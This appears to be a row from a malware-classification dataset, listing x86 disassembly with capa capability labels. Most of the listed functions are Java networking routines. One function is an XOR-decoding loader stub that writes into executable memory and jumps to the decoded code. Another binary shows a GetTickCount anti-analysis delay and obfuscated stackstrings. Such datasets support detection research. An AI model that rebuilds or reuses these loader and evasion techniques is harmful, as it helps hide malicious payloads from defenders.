joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d66700d
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x128
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push esi
xor esi, esi
mov byte [ebp - 0x6d], 0
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], 0x10
call fcn.6d66af8c
test al, al
je 0x6d6670d0
lea ecx, [ebp - 0x7c]
push ecx
push esi
push esi
mov esi, dword [sym.imp.ws2_32.dll_select]
lea ecx, [ebp - 0x6c]
lea eax, [ebx + 1]
push ecx
push eax
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], 1
call esi
test eax, eax
jle 0x6d6670cd
push edi
mov edi, dword [sym.imp.ws2_32.dll_recvfrom]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x98]
push eax
push 2
push 1
lea eax, [ebp - 0x6e]
push eax
push ebx
call edi
cmp eax, 0xffffffff
jne 0x6d6670cc
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x6d6670cc
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x98]
push eax
push 0
push 1
lea eax, [ebp - 0x6e]
push eax
push ebx
call edi
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebx + 1]
push eax
mov byte [ebp - 0x6d], 1
call esi
test eax, eax
jg 0x6d667074
pop edi
mov al, byte [ebp - 0x6d]
mov ecx, dword [ebp + 0xa8]
xor ecx, ebp
pop esi
call fcn.6d66b1da
add ebp, 0xac
leave
ret
Function at 0x6d66750e
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push dword [0x6d67158c]
mov edi, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x24], eax
mov eax, dword [esi]
push esi
call dword [eax + 0x17c]
push dword [0x6d671598]
mov ebx, eax
mov eax, dword [esi]
push edi
push esi
call dword [eax + 0x17c]
or dword [ebp - 0x2c], 0xffffffff
or dword [ebp - 0x28], 0xffffffff
mov edi, eax
call sym.net.dll__ipv6_available_0
mov dword [ebp - 0x30], eax
test ebx, ebx
jne 0x6d66757e
test edi, edi
jne 0x6d667595
push str.Socket_closed
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
jmp 0x6d667665
push dword [0x6d671204]
mov eax, dword [esi]
push ebx
push esi
call dword [eax + 0x190]
mov dword [ebp - 0x2c], eax
test edi, edi
je 0x6d6675a8
push dword [0x6d671204]
mov eax, dword [esi]
push edi
push esi
call dword [eax + 0x190]
mov dword [ebp - 0x28], eax
xor ebx, ebx
cmp dword [ebp - 0x24], ebx
jne 0x6d6675bf
push str.address
push esi
call sub.java.dll__JNU_ThrowNullPointerException_8
jmp 0x6d667665
push dword [0x6d67163c]
mov eax, dword [esi]
push dword [ebp - 0x24]
push esi
call dword [eax + 0x190]
push dword [0x6d671640]
mov eax, dword [esi]
push dword [ebp - 0x24]
push esi
call dword [eax + 0x190]
xor ecx, ecx
inc ecx
cmp eax, 2
jne 0x6d6675fa
cmp dword [ebp - 0x30], ebx
jne 0x6d667601
push str.Protocol_family_not_supported
jmp 0x6d66756e
mov edi, dword [ebp - 0x2c]
cmp eax, ecx
je 0x6d667604
mov edi, dword [ebp - 0x28]
cmp dword [0x6d671220], ebx
je 0x6d66762d
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x30]
push eax
push 0x9800000c
push edi
mov dword [ebp - 0x30], ecx
call dword [sym.imp.ws2_32.dll_WSAIoctl]
push ebx
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x24]
push esi
call fcn.6d66af8c
test eax, eax
jne 0x6d667665
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x6d667665
push str.connect
push esi
call fcn.6d663a00
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d66b1da
leave
ret 0x10
Function at 0x6d667676
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 1
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi]
push edi
jne 0x6d6676a9
push dword [0x6d67158c]
push eax
push esi
call dword [ecx + 0x17c]
push 0x10
jmp 0x6d6676b9
push dword [0x6d671598]
push eax
push esi
call dword [ecx + 0x17c]
push 0x1c
xor edi, edi
pop ebx
cmp eax, edi
je 0x6d667715
push dword [0x6d671204]
mov ecx, dword [esi]
push eax
push esi
call dword [ecx + 0x190]
push ebx
mov esi, eax
lea eax, [ebp - 0x20]
push edi
push eax
call sub.msvcr100.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ws2_32.dll_connect]
cmp dword [0x6d671220], edi
je 0x6d667715
push edi
push edi
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
push 0x9800000c
push esi
mov dword [ebp - 0x24], edi
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d66b1da
leave
ret 0xc
Function at 0x6d6690b7
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
lea ebp, [esp - 0xbc]
sub esp, 0x13c
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp + 0xb8], eax
or dword [ebp - 0x6c], 0xffffffff
push ebx
mov ebx, dword [ebp + 0xcc]
push esi
mov esi, dword [ebp + 0xc4]
push edi
mov edi, dword [ebp + 0xc8]
call sym.net.dll__ipv6_available_0
push edi
mov dword [ebp - 0x70], eax
call fcn.6d666d4c
cmp dword [ebp - 0x70], 0
pop ecx
mov dword [ebp - 0x68], eax
je 0x6d66910d
push edi
call fcn.6d666d78
pop ecx
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x68], 0
jge 0x6d669130
cmp dword [ebp - 0x6c], 0
jge 0x6d669130
push str.Socket_closed
push str.java_net_SocketException
push esi
call sub.java.dll__JNU_ThrowByName_12
xor eax, eax
jmp 0x6d669282
push 0x10
pop eax
cmp ebx, eax
je 0x6d669271
cmp ebx, 0x1f
je 0x6d669271
cmp ebx, 0xf
jne 0x6d66919d
cmp dword [ebp - 0x68], 0xffffffff
mov dword [ebp - 0x70], eax
jne 0x6d66915f
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x70], 0x1c
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x68]
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x6d66918a
push str.Error_getting_socket_name
push str.java_net_SocketException
push esi
call fcn.6d66af8c
add esp, 0xc
jmp 0x6d669129
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
call fcn.6d66af8c
jmp 0x6d669282
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
call sym.net.dll__NET_MapSocketOption_12
test eax, eax
je 0x6d6691b9
push str.Invalid_option
jmp 0x6d66911e
cmp dword [ebp - 0x68], 0xffffffff
jne 0x6d6691d7
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
call fcn.6d66af8c
test eax, eax
jne 0x6d6691af
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x68], eax
push 4
pop edi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], edi
push dword [ebp - 0x7c]
push dword [ebp - 0x68]
call fcn.6d66af8c
test eax, eax
jns 0x6d669221
call dword [sym.imp.msvcr100.dll__errno]
push dword [eax]
call dword [sym.imp.msvcr100.dll_strerror]
push eax
lea eax, [ebp - 0x48]
push str.error_getting_socket_option:__s_n
push eax
call dword [sym.imp.msvcr100.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x48]
push eax
jmp 0x6d66911e
cmp ebx, 3
je 0x6d669266
cmp ebx, edi
je 0x6d669259
cmp ebx, 0x12
je 0x6d66924e
cmp ebx, 0x20
je 0x6d669259
cmp ebx, 0x1000
jle 0x6d669244
cmp ebx, 0x1002
jle 0x6d669266
push str.Socket_option_not_supported_by_TwoStacksPlainDatagramSocketImpl
jmp 0x6d66911e
xor eax, eax
cmp dword [ebp - 0x74], eax
sete al
push eax
jmp 0x6d66925c
push dword [ebp - 0x74]
push esi
call fcn.6d666cde
pop ecx
pop ecx
jmp 0x6d669282
push dword [ebp - 0x74]
push esi
call fcn.6d666c76
jmp 0x6d669262
push ebx
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
push edi
push esi
call fcn.6d668c27
add esp, 0x14
mov ecx, dword [ebp + 0xb8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d66b1da
add ebp, 0xbc
leave
ret 0xc
Function at 0x6d669708
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0x128
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push esi
mov esi, dword [sym.imp.ws2_32.dll_select]
xor ecx, ecx
lea edx, [ebp - 0x7c]
push edx
push ecx
push ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
lea ecx, [ebp - 0x6c]
lea eax, [edi + 1]
push ecx
push eax
mov byte [ebp - 0x6d], 0
mov dword [ebp - 0x74], 0x10
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x6c], 1
call esi
test eax, eax
jle 0x6d6697bb
push ebx
mov ebx, dword [sym.imp.ws2_32.dll_recvfrom]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x98]
push eax
push 2
push 1
lea eax, [ebp - 0x6e]
push eax
push edi
call ebx
cmp eax, 0xffffffff
jne 0x6d6697ba
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp eax, 0x2746
jne 0x6d6697ba
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0x98]
push eax
push 0
push 1
lea eax, [ebp - 0x6e]
push eax
push edi
call ebx
lea eax, [ebp - 0x7c]
push eax
push 0
push 0
lea eax, [ebp - 0x6c]
push eax
lea eax, [edi + 1]
push eax
mov byte [ebp - 0x6d], 1
call esi
test eax, eax
jg 0x6d669762
pop ebx
mov ecx, dword [ebp + 0xa8]
mov al, byte [ebp - 0x6d]
xor ecx, ebp
pop esi
call fcn.6d66b1da
add ebp, 0xac
leave
ret

Function at 0x6d6697d4
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
xor edi, edi
push edi
push 2
push 0x17
mov dword [ebp - 8], edi
mov dword [ebp - 4], 1
call dword [sym.imp.ws2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x6d669813
push str.Socket_creation_failed
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push dword [ebp + 8]
call fcn.6d66af8c
or eax, 0xffffffff
jmp 0x6d669869
push 4
lea eax, [ebp - 8]
push eax
push 0x1b
push 0x29
push esi
call dword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x6d6697fa
push edi
push 1
push esi
call dword [sym.imp.kernel32.dll_SetHandleInformation]
push 4
lea eax, [ebp - 4]
push eax
push 0x20
push 0xffff
push esi
call fcn.6d66af8c
push edi
push edi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 4]
push eax
push 0x9800000c
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov eax, esi
pop edi
pop esi
leave
ret 0xc
Function at 0x6d6698f3
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
xor ecx, ecx
inc ecx
push ecx
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp + 0x18]
mov dword [ebp - 0x24], 0x1c
push eax
push esi
call fcn.6d66af8c
test eax, eax
jne 0x6d669979
push dword [ebp - 0x24]
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x6d669957
push str.connect
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.6d66af8c
jmp 0x6d669979
push 0
push 0
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x30]
push eax
push 4
lea eax, [ebp - 0x28]
push eax
push 0x9800000c
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.6d66b1da
leave
ret 0x14

Function at 0x6d669988
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x24], 0
push 0x1c
lea eax, [ebp - 0x20]
push 0
push eax
call sub.msvcr100.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_connect]
push 0
push 0
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
push 0x9800000c
push dword [ebp + 0x10]
call dword [sym.imp.ws2_32.dll_WSAIoctl]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.6d66b1da
leave
ret 0xc

Function at 0x6d6699eb
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x1c
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x6d669a33
push str.JVM_GetSockName
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.6d66af8c
or eax, 0xffffffff
jmp 0x6d669a41
movzx eax, word [ebp - 0x1e]
push eax
call dword [sym.imp.ws2_32.dll_ntohs]
movzx eax, ax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.6d66b1da
leave
ret 0xc

Function at 0x6d669a50
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x24], 0x1c
call dword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
jne 0x6d669a97
push str.Error_getting_socket_name
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.6d66af8c
xor eax, eax
jmp 0x6d669aa5
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.6d66af8c
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.6d66b1da
leave
ret 0xc
Function at 0x6d669db9
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x7ac]
sub esp, 0x82c
mov eax, dword [0x6d671098]
xor eax, ebp
mov dword [ebp + 0x7a8], eax
cmp byte [ebp + 0x7d4], 0
mov eax, dword [ebp + 0x7c0]
push esi
mov esi, dword [ebp + 0x7b4]
lea ecx, [ebp - 0x74]
push edi
mov edi, dword [ebp + 0x7c8]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7cc]
mov dword [ebp - 0x78], 0x1c
mov dword [ebp - 0x7c], ecx
je 0x6d669e11
and dword [ebp - 0x7c], 0
and dword [ebp - 0x78], 0
jmp 0x6d669e30
push 1
lea ecx, [ebp - 0x78]
push ecx
lea ecx, [ebp - 0x74]
push ecx
push dword [ebp + 0x7d0]
push eax
push esi
call fcn.6d66af8c
test eax, eax
jne 0x6d669eb4
push ebx
cmp edi, 0x800
jle 0x6d669e5f
mov eax, 0x10000
cmp edi, eax
jle 0x6d669e44
mov edi, eax
push edi
call dword [sym.imp.msvcr100.dll_malloc]
mov ebx, eax
pop ecx
test ebx, ebx
jne 0x6d669e62
push str.heap_allocation_failed
push esi
call sub.java.dll__JNU_ThrowOutOfMemoryError_8
jmp 0x6d669eb3
lea ebx, [ebp - 0x58]
mov eax, dword [esi]
push ebx
push edi
push dword [ebp + 0x7c4]
push dword [ebp - 0x80]
push esi
call dword [eax + 0x320]
push dword [ebp - 0x78]
push dword [ebp - 0x7c]
push 0
push edi
push ebx
push dword [ebp + 0x7bc]
call dword [sym.imp.ws2_32.dll_sendto]
cmp eax, 0xffffffff
jne 0x6d669ea3
push str.Datagram_send_failed
call dword [sym.imp.ws2_32.dll_WSAGetLastError]
push eax
push esi
call fcn.6d66af8c
cmp edi, 0x800
jle 0x6d669eb3
push ebx
call dword [sym.imp.msvcr100.dll_free]
pop ecx
pop ebx
mov ecx, dword [ebp + 0x7a8]
pop edi
xor ecx, ebp
pop esi
call fcn.6d66b1da
add ebp, 0x7ac
leave
ret 0x24
Function at 0x6d669fdc
Capabilities:
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
cmp edi, ebx
je 0x6d66a009
lea eax, [ebp - 1]
push eax
push edi
push dword [ebp + 8]
call sub.java.dll__JNU_GetStringPlatformChars_12
mov esi, eax
cmp esi, ebx
je 0x6d66a032
cmp dword [ebp + 0x14], ebx
je 0x6d66a03d
lea eax, [ebp - 1]
push eax
push dword [ebp + 0x14]
push dword [ebp + 8]
call sub.java.dll__JNU_GetStringPlatformChars_12
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x6d66a03d
cmp esi, ebx
je 0x6d66a032
push esi
push edi
push dword [ebp + 8]
call sub.java.dll__JNU_ReleaseStringPlatformChars_12
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret 0x14
cmp dword [ebp + 0x18], ebx
je 0x6d66a073
lea eax, [ebp - 1]
push eax
push dword [ebp + 0x18]
push dword [ebp + 8]
call sub.java.dll__JNU_GetStringPlatformChars_12
mov dword [ebp - 0xc], eax
cmp eax, ebx
jne 0x6d66a073
cmp esi, ebx
je 0x6d66a066
push esi
push edi
push dword [ebp + 8]
call sub.java.dll__JNU_ReleaseStringPlatformChars_12
cmp dword [ebp - 8], ebx
je 0x6d66a032
push dword [ebp - 8]
push dword [ebp + 0x14]
jmp 0x6d66a02a
push 8
call dword [sym.imp.msvcr100.dll_malloc]
pop ecx
mov dword [ebp - 0x10], eax
cmp esi, ebx
jne 0x6d66a091
cmp dword [ebp - 0xc], ebx
jne 0x6d66a091
cmp dword [ebp - 8], ebx
jne 0x6d66a091
xor edi, edi
jmp 0x6d66a0e2
push 0x1c
lea edi, [ebp - 0x34]
mov eax, edi
push ebx
push eax
call sub.msvcr100.dll_memset
add esp, 0xc
cmp esi, ebx
je 0x6d66a0b3
push esi
mov dword [ebp - 0x34], esi
call sub.msvcr100.dll_strlen
pop ecx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
cmp eax, ebx
je 0x6d66a0c7
push eax
mov dword [ebp - 0x24], eax
call sub.msvcr100.dll_strlen
pop ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x6d66a0db
push eax
mov dword [ebp - 0x2c], eax
call sub.msvcr100.dll_strlen
pop ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 1
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push ebx
push ebx
push edi
push ebx
push 2
push str.NTLM
push ebx
call sub.Secur32.dll_AcquireCredentialsHandleA
mov edi, eax
cmp esi, ebx
je 0x6d66a10c
push esi
push dword [ebp + 0x10]
push dword [ebp + 8]
call sub.java.dll__JNU_ReleaseStringPlatformChars_12
cmp dword [ebp - 0xc], ebx
je 0x6d66a11f
push dword [ebp - 0xc]
push dword [ebp + 0x18]
push dword [ebp + 8]
call sub.java.dll__JNU_ReleaseStringPlatformChars_12
cmp dword [ebp - 8], ebx
je 0x6d66a132
push dword [ebp - 8]
push dword [ebp + 0x14]
push dword [ebp + 8]
call sub.java.dll__JNU_ReleaseStringPlatformChars_12
cmp edi, ebx
jne 0x6d66a032
mov eax, dword [ebp - 0x10]
cdq
jmp 0x6d66a036
Function at 0x6d66af8c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x6d66af9b
pop dword [ebp - 0x28]
mov eax, 0x6d66af9b
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x37f46a22
add dword [ebp - 0x38], 0x165ddb29
mov dword [ebp - 0x34], 0xb6b21bcb
sub dword [ebp - 0x34], 0x847ecf86
mov dword [ebp - 0x30], 0x4b977963
sub dword [ebp - 0x30], 0xff4b3535
mov dword [ebp - 0x2c], 0x34632d0e
sub dword [ebp - 0x2c], 0x34632d0e
lea eax, [ebp - 0x38]
push eax
mov eax, 0x534b9a2f
sub eax, 0xe5e4d9f3
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xd591a5e1
add dword [ebp - 0x38], 0x9ee0c375
mov dword [ebp - 0x34], 0x31cb9d1f
add dword [ebp - 0x34], 0xfa0c456
mov dword [ebp - 0x30], 0xdc314771
sub dword [ebp - 0x30], 0x78c1db05
mov dword [ebp - 0x2c], 0x13cf1410
add dword [ebp - 0x2c], 0xec30ebf0
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x37568
push 0
call eax
mov ecx, 0x487e
mov edx, eax
mov edi, 0x6d674000
add edi, dword [ebp - 0x28]
mov esi, 0x5872fc08
add esi, 0x8eb2210e
mov dword [ebp - 0x10], 0xb04408f
mov ebx, dword [edi]
xor dword [ebp - 8], 0x601ef78a
xor ebx, esi
mov dword [edx], ebx
add dword [ebp - 0x18], 0x86a7aa82
add edx, 0x82e598fa
add edx, 0x7d1a670a
add edi, 0x7daccba4
add edi, 0x82533460
loop 0x6d66b0a7
add eax, 0xd098d991
add eax, 0x2f683b3a
mov ebx, eax
add eax, 0xa6d8883c
sub eax, 0xa6d88837
mov ecx, 0x1aac643d
add ecx, 0x52b99bc3
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x6d66b1da
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d671098]
jne 0x6d66b1e4
repz ret
jmp fcn.6d66b58d
Function at 0x10001000
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1001e454]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp + 0xc], 1
mov dword [0x1001f7c0], eax
jne 0x100010a7
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call esi
call esi
mov ebx, eax
push ebx
call fcn.10004939
mov edi, 0xf4240
pop ecx
mov dword [ebp - 8], edi
call fcn.1000494b
call fcn.1000494b
call fcn.1000494b
dec dword [ebp - 8]
jne 0x10001043
call fcn.1000494b
mov dword [ebp - 8], eax
fild dword [ebp - 8]
fstp dword [ebp - 8]
fldz
fcomp dword [ebp - 8]
fnstsw ax
test ah, 0x44
jnp 0x10001081
call fcn.1000494b
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fdiv dword [ebp - 8]
jmp 0x1000108c
call fcn.1000494b
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
fstp dword [ebp - 8]
fldz
fcomp dword [ebp - 8]
fnstsw ax
call fcn.1000494b
dec edi
jne 0x10001057
call esi
cmp eax, ebx
jbe 0x1000109e
pop edi
pop esi
pop ebx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dword [0x1001f7c4], eax
xor eax, eax
xor ecx, ebp
inc eax
call fcn.100049f1
leave
ret 0xc
Function at 0x1000399c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x574
mov eax, dword [0x1001e454]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov dword [0x100200f0], eax
mov eax, dword [ebp + 0x14]
push esi
push edi
mov dword [0x100200ec], eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
push 0x3ff
mov dword [0x100200e8], eax
lea eax, [ebp - 0x427]
push ebx
push eax
mov byte [ebp - 0x428], bl
call fcn.10004ae0
add esp, 0xc
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x27]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x428]
push eax
mov byte [ebp - 0x15], 0x4f
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x13], 0x55
mov byte [ebp - 0x1a], 0x4e
mov byte [ebp - 0x1e], 0x64
mov byte [ebp - 0x27], 0x31
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0xe], 0x4a
mov byte [ebp - 0xd], 0x62
mov byte [ebp - 0x19], 0x68
mov byte [ebp - 0x20], 0x38
mov byte [ebp - 0xb], 0x67
mov byte [ebp - 0x11], 0x52
mov byte [ebp - 9], 0x34
mov byte [ebp - 0xc], 0x48
mov byte [ebp - 0x1b], 0x64
mov byte [ebp - 0x25], 0x49
mov byte [ebp - 0x1d], 0x67
mov byte [ebp - 0x22], 0x38
mov byte [ebp - 0xf], 0x41
mov byte [ebp - 0x24], 0x34
mov byte [ebp - 0x12], 0x55
mov byte [ebp - 0x10], 0x4b
mov byte [ebp - 0xa], 0x31
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x26], 0x79
mov byte [ebp - 0x1f], 0x35
mov byte [ebp - 0x17], 0x53
mov byte [ebp - 0x28], 0x52
mov byte [ebp - 0x18], 0x6c
call fcn.10003d3b
push 1
lea ecx, [ebp - 0x4d4]
call fcn.10003834
push 0x40
push 0x24
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x4d4]
call fcn.100035fd
lea eax, [ebp - 0x4ec]
push eax
lea ecx, [ebp - 0x4d4]
call fcn.10001452
mov esi, dword [eax + 8]
add esi, dword [eax]
lea eax, [esi + 0x3e8]
push eax
call fcn.10004898
pop ecx
push ebx
mov edi, eax
push ebx
lea ecx, [ebp - 0x4d4]
call fcn.10003287
push esi
push 0xffffffffffffffff
push edi
lea ecx, [ebp - 0x4d4]
call fcn.100038f4
lea ecx, [ebp - 0x4d4]
call fcn.100032fd
push esi
lea eax, [ebp - 0x28]
push edi
push eax
call fcn.100010c0
add esp, 0xc
push 1
lea ecx, [ebp - 0x574]
mov dword [ebp - 0x448], eax
call fcn.10003894
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x444]
call fcn.10002d9c
mov eax, dword [ebp - 0x430]
push 0x10019198
push 3
add eax, 0xfffffffd
push eax
lea ecx, [ebp - 0x444]
call fcn.100028e1
cmp dword [ebp - 0x42c], 0x10
mov eax, dword [ebp - 0x440]
jae 0x10003b53
lea eax, [ebp - 0x440]
push 0x40
push 0x24
push eax
lea ecx, [ebp - 0x574]
call fcn.10003635
push esi
push edi
lea ecx, [ebp - 0x574]
call fcn.1000378e
lea ecx, [ebp - 0x574]
call fcn.1000333c
push edi
call fcn.10004f73
cmp dword [ebp - 0x448], 1
pop ecx
jne 0x10003b92
push 0x1001919c
jmp 0x10003b97
push str.fail
call fcn.10003d82
push ebx
push 1
lea ecx, [ebp - 0x444]
call fcn.10001b38
lea ecx, [ebp - 0x574]
call fcn.1000313d
lea ecx, [ebp - 0x4d4]
call fcn.1000326d
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100049f1
leave
ret